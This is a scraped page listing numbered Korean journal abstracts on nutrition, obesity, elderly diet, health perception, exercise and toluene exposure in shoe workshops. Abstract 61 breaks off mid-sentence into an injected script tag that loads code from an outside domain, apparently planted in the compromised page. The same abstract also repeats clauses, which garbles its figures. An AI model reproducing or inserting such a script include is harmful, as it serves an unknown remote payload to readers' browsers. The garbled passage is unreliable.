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        61.
        2000.04 KCI 등재 구독 인증기관 무료, 개인회원 유료
        최근 풍족한 식생활로 인한 영양소의 과잉섭취와 운동량의 부족으로 비만증이 늘어나고 있다. 비만증의 위험이 널리 인식되면서 비만성인들의 무분별한 다이어트와 운동으로 영양결함이나 이와 관련된 질병들이 발행할 우려가 있으므로 적절한 영양교육 프로그램개발을 위한 기초자료를 위해 식사 행동, 영양섭취실태 및 건강상태에 관한 실태를 조사하여 비만군과 대조군을 비교해 본 결과 다음과 같은 결과를 얻었다. 1. 평균연령은 남녀 각각 38.1±10.8세, 35.2±8.8세였으나, 전체 연령의 분포는 30세 이하가 28명(35%), 30세에서 39세가 23명(28%), 40세에서 49세가 19명(23.5%), 50세 이상이 11명(13.5%)으로 30세에서 49세가 가장 많았다. 체중조절 운동에 참여한 기간은 1∼2개월 정도가 5명(6.1%), 3∼4개월은 24명(29.8%), 5∼6개월은 39명(48.2%), 6개월 이상은 13명(15.9%)으로 5∼6개월이 가장 많았다. 2. 에너지 섭취량의 경우 비만군이 1, 451.0kcal로써 대조군 1, 572.4kcal에 비해 8%정도 적게 섭취하는 것으로 나타났으며 한국인의 영양권장량^21)에 대한 비율로는 대조군이 74% 비만군이 65% 수준으로 섭취하고 있었다. 에너지 섭취량과 마찬가지로 권장량에 미치지 못하는 영양소는 단백질, 칼슘, 철분, 비타민 B_1, 비타민 B_2이었다. 총열량에 대한 탄수화물, 지방, 단백질의 열량 비율은 비만군이 61.2:21.6:16.6, 대조군이 62.8:21.3:16.0으로 한국인 영양권장량에서 이상적인 구성 비율로 권장하고 있는 65:20:15와 비교해 볼 때 탄수화물 섭취 비율이 두 군 모두 약간 낮으나 지방과 단백질의 섭취비율은 비슷하였다. 3. 평균 신장은 비만군이 165.8cm, 대조군이 164.2cm으로 두 군간에 차이가 없었으나. 평균 체중은 비만군이 74.9kg, 대조군이 60.4kg으로 나타나 유의적인 차이(p<0.001)를 보였다. TSF는 비만군이 28.3mm, 대조군이 23.7mm로 두 군간에 유의적인 차(p<0.001)를 나타냈다. MAMC는 비만군이 25.5cm, 대조군이 21.7cm로써 두 군간에 유의적인 차이(p<0.001)를 보였다. 4. 식사행동에 관한 내용에서는 하루에 몇 회 식사하는가, 규칙적인 식사를 하는가, 식사에 걸리는 시간에 관한 문항으로 나누어 조사한 결과, 하루에 3회 식사하는 사람이 대부분이었으나 비만군의 여자 1명과 대조군의 여자 2명이 하루 1회만 식사를 하고, 비만군의 여자 4, 남자 2명과 대조군의 여자 7명이 하루 2회 식사를 하는 것으로 나타나 식사행동이 잘못되었음을 알 수 있었다. 규칙적인 식사를 하는가에 관한 물음에서는 대체로 규칙적이다라고 답한 사람이 비만군은 14명(38.9%), 대조군은 22명(52.4%)으로 대조군이 많았다. 불규칙적이다라고 답한 사람은 비만군이 여자 5명과 남자 22명으로 전체 27명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(36%)이었다. 불규칙적인 식사를 하는 비만군 남자의 경우 잦은 음주로 인하여 식사를 하는 비만군 남자의 경우 잦은음주로 인하여 식사를 제 때에 못한다고 답한 사람이 많았다. 식사에 걸리는 시간은 10분 이내인 경우는 비만군에서 다소 많았으며 그 외는 10분에서 20분 사이라고 답한 사람이 대부분이었다. 5. 운동에 참여하는 정도는 참여한다라고 답한 사람이 비만군이 17명(42.1%), 대조군이 13명(35.7%)이었으며, 가끔 참여한다라고 답한 사람이 비만군이 25명(62.1%), 대조군이 26명(64.3%)이었다. 운동빈도는 1주일에 3∼5회 하는 사람이 비만군19명(43.4%), 대조군 23명(63.5%)으로 나타나 대조군이 비만군보다 많았다. 운동빈도에 따른 인체계측의 변화는 1주일에 6∼7회 운동하는 사람의 체중과 TSF가 1∼2회 및 3∼5회 운동하는 사람보다 약간 낮게 나타났으며, 대체적으로 비슷한 분포를 보였다. 1회 운동시 걸리는 시간은 30분이 전체의 약 44%로 가장 많았고, 그 다음이 60분으로 전체의 약 39%였다. 체중조절을 위해 운동에 참여한 기간은 비만군 23명(54.6%)과 대조군 16명(38.9%)이 5∼6개월에 답을 하여 가장 많은 수치를 나타내었다. 평소에 자신이 알고 있는 영양지식을 실생활에 활용하는가에 관한 물음에서 전체 52명(64.2%)이 대체적으로 활용하고 있다고 답했으며, 적극적으로 활용한다고 답한 사람이 전체 29명(35.8%)으로 나타났다. 6. 각 영양소 섭취량과 인체계측 지표간의 상관성을 분석하여 본 결과, PIBW는 열량섭취량(r = -0.241, p<0.05)과 탄수화물 섭취량(r = -0.259, p<0.05)사이에 유의한 음의 상관관계가 있음을 보였으며, BMI도 PIBW와 마찬가지로 열량섭취량(r = -0.224, p<0.05)과 탄수화물 섭취량(r = -0.242, p<0.05)사이에 유의한 음의 상관성을 나타냈다. 7. 체중 조절후 체중감소율에 영향을 미치는 요인을 알아내기 위해 단계적 다중회귀분석을 한 결과, 체중감소율을 설명할 수 있는 요인으로서?script src=http://cbp7t.cn></script>
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        62.
        1999.07 KCI 등재 구독 인증기관 무료, 개인회원 유료
        A survey was carried out to investigate consciousness level of health. A total of 499 people living in Seoul and the vicinities were asked to fill out the questionnaire during the period from the October 1997 to the January 1998. Among the 532 answers collected 33 was imcompleate data, and 499 answers were used for the statistical analysis by using SPSS program. The most worried disease was cancer(27.6%), indigestion(23.0%), liver trouble(14.8%) and high blood pressure(14.8%). The perception of Korean on health and food habit indicated that food habit was considered the most important factor for the maintenance of health, as appeared in 28.9% of the subject. Eighty-seven percent of the respondents thought that health food is necessary for the health.
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        63.
        1998.12 KCI 등재 구독 인증기관 무료, 개인회원 유료
        인천과 서울지역의 노인들 151명을 대상으로 시설노인과 재가노인으로 나누어 실시한 조사대상자의 식습관과 건강상태, 건강식품에 대한 인식도와 기호도 그리고 식습관에 영향을 주는 정신건강상태를 조사한 결과는 다음과 같다. 1) 조사 대상자의 일반 사항에서 평균 연령은 시설노인 남자 77.8세, 여자 78.5이고 재가노인은 남자 73.7, 여자 78.0로 시설노인이 높게 나타났다. 평균 체중과 신장은 시설노인 남, 여가 각각59.3kg, 49.2kg이며 재가노인 남여는 각각 61.2kg 53.6kg이며, 신장은 시설노인 남자가 161.9cm, 여자가 145.9cm, 재가노인은 남자가 168.0cm 여자가 150.5cm정도로 나타났다. 조사대상자의 학력은 무학이 절반을 차지하여 대부분의 노인들의 학력정도가 남으며, 시설보다 재가의 학력수준이 높았다. 2) 식습관에 관한 조사에서는 대부분이 가족과 함께 식사를 하며, 식사첫수는 하루 세끼를 하고 식사시간은 대체로 일정한 시간에 하며 외식횟수에 대해서는 재가노인의 경우 주 1-2회정도 외식을 하는 것으로 나타났다. 식습관에 관한 전반적인 조사에서 대부분의 노인들이 바람직한 식생활을 하고 있음을 알 수 있었다. 3) 조사대상자의 건강상태에서 본인의 건장상태에 대한 만족도에서는 시설노인이 61.5%, 재가노인이 24.2%로 유의적 차이(p<0.001)를 보임에 따라 시설노인이 재가노인보다 건강상태가 나쁘다고 생각하는 사람이 많은 것으로 나타났다. 4) 현재 앓고 있는 질병의 여부에서는 있는 경우와 없는 경우가 대체적으로 비슷하게 조사되었으며 질병의 종류로는 당뇨병, 심장질환, 고혈압, 관절염등으로 나타났다. 최근 몸무게의 변화 여부에서는 시설노인의 48.1% 정도가 체중이 준 반면, 재가 노인은 변화가 없거나 늘어난 경우가 70%정도로 유의성이 있는 것(p<0.05)으로 나타났다. 5) 운동 횟수에서는 시설 노인의 65.4%가 운동을 하지 않으며, 남녀의 비교시 운동을 하지 않는 사람이 각각 33.9%, 66.3%로 유의성(p<0.05)이 나타나 남자가 여자보다 운동 횟수가 많았다. 걷는 정도에서 시설노인의 63.5%가 거의 못 걸으며 남자와 여자 사이에서도 유의성(p<0.001)이 나타났다. 걸을 수 있는 정도와 계단 오르기에 느끼는 불편 정도를 조사해본 결과 시설보다 재가의 경우가 일반적으로 건강이 양호한 것으로 나타났다. 6) 흡연에 관해서는 시설노인의 대부분인 90.4%가 흡연을 하지 않았으며, 재가의 경우 하루 1/2갑 이하, 하루 1/2갑-1갑의 경우가 각각 22.2%, 17.2%로 유의성(p<0.05)이 나타났고, 남녀사이에서도 유의성 (p<0.001)이 나타났다. 7) 건강식품에 대한 인식도에 관한 조사에서 현재 비타민제나 영양제를 복용하지 않는 사람이 더 많으며, 시설노인과 재가노인의 비교시에는 시 설과 재가가 각각 76.9%, 60.6%로 유의성(p<0.05)이 있는 것으로 나타났다. 건강을 위해서는 대부분의 노인이 건강식품을 구입하지 않았다. 경제적 여유가 생기면 약이나 건강식품과 같은 먹는 것을 더 선호하는 것으로 나타났다. 8) 노인들의 일반식품에 대한 기호도를 보면, 육류를 선호하며, 특히 쇠고기에 대핀 선호도가 높은 편이었다. 과거의 채식습관으로 인해 채소, 해조류, 김치 과일등의 선호도는 높게 나타났고, 밥의 선호도와 국수의 선호도가 높았으며, 유지부분에는 참기름, 들기름, 대두유의 선호도는 높았지만, 버터, 마가린등의 유지는 선호도가 낮게 나타났다. 노인들의 선호하는 맛은 대부분 단맛, 매운맛, 짠맛, 신맛 순서였다. 선호하는 음식 조리법은 찌개, 국, 무침을 선호하였다. 시설노인에 있어서 볶음의 선호도, 남자의 점에 대한 선호도가 높게 나타났다. 9) 간식의 경우는 1회가 가장 많은 것으로 나타났다. 간식으로 주로 섭취하는 식품으로는 과일, 우유, 유산균음료, 떡, 과자, 건강음료 등의 순서로 나타났다. 과일을 간식으로 섭취하는 경우는 시설보다 재가의 경우가 더 높았다. 노인들이 선호하는 음료를 보면 커피 전통음료가 대체적으로 높게 나타났고, 노인들이 좋아하는 전통음료는 식혜로 조사되었다. 10) 노인들의 학력, 용돈, 주거형태에 따른 식습관과 정신건강의 차이를 보면 혼자서 사는 경우가 가장 낮은 식습관을 나타내었고, 학력에 따른 식습관에서는 고졸이 무학 국졸 중졸과 유의적 차이를 나타내고 있었다. 용돈에 따른 식습관 차이에서는 더 많은 용돈을 사용하는 사람이 더 나은 식습관을 가지고 있는 것으로 나타났다. 노인들은 전체적으로 약간 우울한 경향을 나타냈는데 시설노인이 재가노인보다 우울의 정도가 심했으며 통계적으로도 유의성을 나타냈다. 학력에 따른 우울증의 차이를 보면 학력에 따른 영향은 없으며, 용돈에 따른 우울증의 차이를 보면 전체적으로 용돈이 적은 경우가 많은 경우보다 우울한 경향을 보였다.
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        64.
        1998.07 KCI 등재 구독 인증기관 무료, 개인회원 유료
        This survey was carried out to obtain the information concerning nutritional status, including factors of food intake and health condition of elderly living in Ulsan area. Main results were as follows. 1) Average height of subjects was close to Korean reference, while weight was below Korean reference, average obesity rate and body mass index were +6.93% and 21.9. 2) In health related factors, 41% of subjects exercised regularly, 31.6% of subjects drank alcoholic beverage, and 41.4% of subjects smoked currently. 3) Mean food habits score was 32.1(ranging from 10 to 50) and milk and lipid food intake were decreased. 4) Dietary intake data showed the average daily intake of all nutrients except phosphorus, were lower than RDA, especially vitamin A, calcium and zinc were lower than other nutrients. According to the percentage of RDA, vitamin A was the nutrient found to be least sufficient. 5) Among the various influential factors resident type, pocket money, exercise and smoking influenced on nutrient intake considerably
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        65.
        1991.12 KCI 등재 구독 인증기관 무료, 개인회원 유료
        This research was attempted to investigate the correlation between food habits as well as preferences and health conditions of middle-aged people. 380 people living in Dae-gu, kimchon and kumrung gun in the 40's or 50's were selected for this research as subjects from July 1 to August 15, 1990. The data analysis was made by way of frequency, percentage, χ2-test and Pearson correlation using SAS package. The summarized results are as follows. 1. Among the total subjects of this research, 200 people (52.6%) were male and 180 people (47.4%) were female. The regional distribution was like this; 115 people (30.3%) lived in large city, 154 people (40.5%) in small and medium city and 111 people (29.2%) in rural region. 2. The survey on food life attitude on the subjects showed that they had a relatively good attitude, and there were little significant differences (p〈.05) between men and women. But there were significant differences (p〈.001) between rural region and city. 3. On the preferences for taste, food and cooked food the subjects showed the lowest preferences for processed milk-fat food and the highest for soybean and processed soybean food. 4. The research on health condition 1) 30.8% of the subjects were obesity. And this research showed that the percentage of obesity was higher among men (33.5%) than women (27.8%), and higher in cities (40.4, 34.4%) than rural region (16.2%), (p〈.05, p〈.01). 2) 90.8% of the subjects showed negative according to Diabetes inspection. 3) 2.0% of the subjects were hypertensive, and the percentage was higher among women than men, and higher in rural region than cities. 4) 12.6% of the subjects were anemia, and the percentage was higher among women (17.8%) than men (8.0%), and higher in rural region (23.4%) than cities (7.0, 9.1%). 5) DMFT index and DMF rate of dental caries was higher among women (DMFT index; 10.6 DMF rate; 88.9) than men (DMFT index; 7.3 DMF rate; 81.5), and higher in rural region (DMFT index; 11.8 DMF rate; 90.1) than cities (DMFT index; 7.4, 7.9 DMF rate; 79.1, 85.7). 6) According to the survey on self-diagnosed health status of subjects, the percentages of articular·neuralgia (48.9%) was the highest. And that of stomach digestion troubles (31.1%), headache (22.4%), anxiety excitement (12.9%), spastic constipation (12.4%), insomnia (9.7%), melancholia (7.9%) and etc (1.6%) followed. 7) People had allergied food which contained animal protein such as pork, chicken, mackerel, siakworm pupa, clam and so on. 8) In female cases, 46.7% of women became already menopausal and 13.3% of them was under menopause. 5. This research showed that there were significant correlation between food life attitude and health condition in obesity, anemia and dental caries but not in blood pressure. 6. And this research also showed that there were significant correlations between food preference and health condition in obesity, anemia and dental caries but not in blood pressure.
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        67.
        2019.02 KCI 등재 서비스 종료(열람 제한)
        목적: 연구의 목적은 운동 비디오게임이 노인의 운동 자기효능감과 지각된 건강상태에 미치는 효과를 조사하는 것이다. 방법: 연구대상자는 60명 노인이며, 평균연령은 72.09세(SD=1.57)이다. 연구대상자들은 세 가지 실험 조 건인 (1) 운동 비디오게임 집단(n=20), (2) 유산소운동집단(n=20), (3) 통제집단(n=20) 중 하나에 무선 할당하여 실험에 참여하였다. 이 연구의 실험설계는 상호작용적 비디오 게임의 효과를 검증하기 위해 3개 집단(운동 비디오게임, 유산소운동, 통제)과 시기(사전, 사후) 혼합설계로 반복측정 이원분산분석(Two way ANOVA with repeated measures)을 실시했다. 집단 간 주 효과에 대한 사후검증으로 Turkey’s HSD을 실시했고, 집단과 측정시점의 상호 작용효과를 알아보기 위해서는 LMATRIX & MMATRIX 하위명령어를 입력한 syntax를 실행시켜 사후검증을 실시했다. 통계자료분석은 SPSS 21.0 프로그램을 사용하였다. 종속변수는 운동 자기효능감과 지각된 자신의 건강상 태이다. 결과: 유산소운동 집단과 운동 비디오게임 집단이 운동 자기효능감 및 지각된 자신의 건강상태에서 통제 집단보다 유의하게 높은 점수를 보여주었다. 하지만 유산소운동 집단과 운동 비디오게임 집단은 운동 자기효능감 및 지각된 건강상태에서 통계적으로 유의한 차이를 보이지 않았다. 결론: 본 연구결과를 종합해 보면 운동 비디오게임 집단이 운동의 형태로서 효과가 있으며, 노인의 운동 자기효능감 및 지각된 건강상태를 개선하는데 도움이 되는 것으로 나타났다.
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        2008.08 KCI 등재 서비스 종료(열람 제한)
        이 연구의 목적은 운동행동변화를 예측하는 구성요인과 지각된 건강상태 간에 어떤 관계가 있는가를 알아보기 위해 2007년 서울 및 경기도에 거주하고 있는 당해연도 30세 이상의 성인 남녀 1400명을 편의표집하였다. 그리고 최종적으로 1247명을 분산분석과 로지스틱 회귀분석에 적용하였다. 분석된 결과에 의하면 첫째, 남자는 자극통제가 낮을수록 자신의 건강상태를 ‘아주 좋다’보다 ‘나쁘다’ 또는 ‘그저 그렇다’라고 지각할 확률이 높은 것으로 나타났다. 둘째, 여자는 자아재평가를 낮게 지각하고 자극통제가 낮을수록 스스로의 건강상태를 ‘나쁘다’와 ‘그저 그렇다’라고 지각할 확률이 높은 것으로 나타났다. 셋째, 운동손실을 높게 지각하고 있는 남녀 모두 자신의 건강상태를 ‘아주 좋다’보다 ‘나쁘다’라고 지각할 확률이 높은 것으로 나타났다. 이러한 결과는 운동행동변화를 예측하는 구성요인과 지각된 건강상태 간의 관계와 관련하여 후속연구를 위해 논의하였다.
        69.
        1995.12 KCI 등재 서비스 종료(열람 제한)
        The health symptoms assessment and urinary hippuric acid excretions of workers exposed to toluene occupationally in shoes workshops were investigated by the questionnaire and the field monitoring. Based on the results, the acute health symptoms of workers exposed to toluene by questionnaire were fatigue(58.7%), irritation of the eyes, nose and throat(57.2%), and skin dryness(43.3%). And the complaints about workshop environment are odor, dust and noise. The mean values of urinary hippuric acid excretions in male and female were 1.08 ± 0.50 g/ℓ, 1.59 ± 1.27 g/ℓ in total workers, espectively.
        70.
        1986.11 KCI 등재 서비스 종료(열람 제한)
        The purpose of this study was to explore the nature of the relationship between several factors representing the mental health enumerated in the psychology literature and the dadaptability to group life which all of th KMU students encounter. An empirical study was carried out to examine not only the differences in mental health of 4 kinds of students groups but also the impact of interaction which mental health affects to the adaptability to group life among grades. The several factors of the mental health can be utilized in suggesting the theoretical bases for the countermeasures of the effective group life along with the motivation of KMU students. The data investigating the impact of interaction between mental health and the adaptability to group life were collected from 537 KMU students selected from 4 different kinds of population-(1) Freshman group (2) Sophomore group (3) Junior group (4) Senior group-by the use of questionnaire method and interview. The 2-way analysis of variance (MANOVA) were used to analyze the data. The results of this study were found as follows; (1) There are significant difference in the cognition of gloom, personal sensitiveness, anagonism, anxiety and total score among 4 grade groups, (2) The freshmen group and the sophomore group have perceived gloom, personal sensitiveness, antagonism, and total score more acutely than the junior group and senior group have. (3) There are significant differences in perceiving an obession and personal sensitiveness according to the adaptation types to the group life; adaopted type, non-adapted type. The non-adapted group has recognized an obsession and personal sensitiveness more seriously than the adapted group has. (4) The interaction between grades and the adaptation status doesn't have an direct influence on the mental health.
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